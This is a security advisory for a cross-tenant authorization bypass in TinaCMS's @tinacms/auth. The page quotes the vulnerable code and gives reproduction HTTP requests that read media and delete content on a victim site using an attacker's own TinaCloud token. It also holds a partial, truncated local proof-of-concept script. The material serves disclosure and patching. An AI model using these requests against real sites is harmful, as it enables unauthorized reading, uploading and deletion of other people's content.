Résumé
Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site
Détails de l’avis
Summary
@tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?"
Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker.
The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.
Affected code (confirmed at 5a6839f)
packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request:
export const isAuthorized = async (req: NextApiRequest) => {
const clientID = req.query.clientID; // attacker-controlled
const token = req.headers.authorization; // attacker-controlled
if (typeof clientID === 'string' && typeof token === 'string') {
return await isUserAuthorized({ clientID, token });
}
return undefined;
};
index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200:
const tinaCloudRes = await fetch(
`https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,
{ headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' }
);
if (tinaCloudRes.ok) { return await tinaCloudRes.json(); }
index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification:
isAuthorized: async (req, _res) => {
const user = await isAuthorized(req as NextApiRequest);
if (user && user.verified) return { isAuthorized: true };
return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' };
},
Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos):
authorized: async (req, _res) => {
if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true;
const user = await isAuthorized(req);
return user && user.verified; // no clientID === <this site's app> check
}
The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment).
Steps to reproduce (real target)
Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKER_APP, token T_attacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth.
Media bucket (read; the same gate covers POST upload and DELETE):
GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker
Content backend, when TinaCloudBackendAuthProvider is used:
POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker
Content-Type: application/json
{"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}}
Expected: 401/403 for a user with no access to victim.example.
Actual: 200, because authorization is bound to the attacker-supplied clientID.
Proof of concept (self-contained, zero dependencies)
Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.
/**
* Self-contained PoC — @tinacms/auth cross-tenant authorization bypass
* Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)
*
* Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch)
*
* The two functions below are copied from packages/@tinacms/auth/src/index.ts.
* The ONLY changes are: TypeScript types removed, and the hard-coded
* https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the
* local identity model. req.query.clientID, the currentUser call, and the
* `user && user.verified` gate are byte-for-byte the original logic.
*/
const http = require('http');
const IDENTITY_PORT = 18099;
const VICTIM_PORT = 19090;
process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;
/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */
const isUserAuthorized = async (args) => {
const clientID = args.clientID;
const token = args.token;
try {
const tinaCloudRes = await fetch(
`${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`,
{
headers: new Headers({ 'Content-Type': 'application/json', authorization: token }),
method: 'GET',
}
);
if (tinaCloudRes.ok) {
const user = await tinaCloudRes.json();
return user;
}
return;
} catch (e) {
console.error(e);
throw e;
}
};
const isAuthorized = async (req) => {
const clientID = req.query.clientID; // <-- attacker-controlled
const token = req.headers.authorization; // <-- attacker-controlled
if (typeof clientID === 'string' && typeof token === 'string') {
return await isUserAuthorized({ clientID, token });
}
return undefined;
};
/* ===== identity model: a token grants access to the app its owner owns =====
This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug
is that the victim lets the caller choose which app to validate against. */
const TOKEN_FOR = {
'victim-app': 'valid-token-for-victim-app',
'attacker-app': 'valid-token-for-attacker-app',
};
const USER_FOR = {
'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' },
'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' },
};
const identity = http.createServer((req, res) => {
const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/);
if (!m) { res.writeHead(404); return res.end('nf'); }
const app = decodeURIComponent(m[1]);
if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify(USER_FOR[app]));
}
res.writeHead(401, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({ message: 'unauthorized for this app' }));
});
/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */
const authorized = async (req) => {
const user = await isAuthorized(req);
return user && user.verified; // never checks req.query.clientID === victim-app
};
const victim = http.createServer(async
Références
- https://github.com/advisories/GHSA-g74q-6g2f-874x
- https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x
- https://nvd.nist.gov/vuln/detail/CVE-2026-63506
- https://github.com/tinacms/tinacms/pull/7168
- https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4
- https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-107850
Contao: Improper access control in the preview links module
- MEDIUMCVE-2026-91980
Vikunja: Any user can enumerate every team and its members by attaching arbitrary teams to a throwaway project
- MEDIUMCVE-2026-91984
Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)
- HIGHCVE-2026-91985
Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level
- HIGHCVE-2026-76216
Vikunja: Link-share principal-type confusion enables cross-account team removal, bot takeover, and roster disclosure
- CRITICALCVE-2026-68582
Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)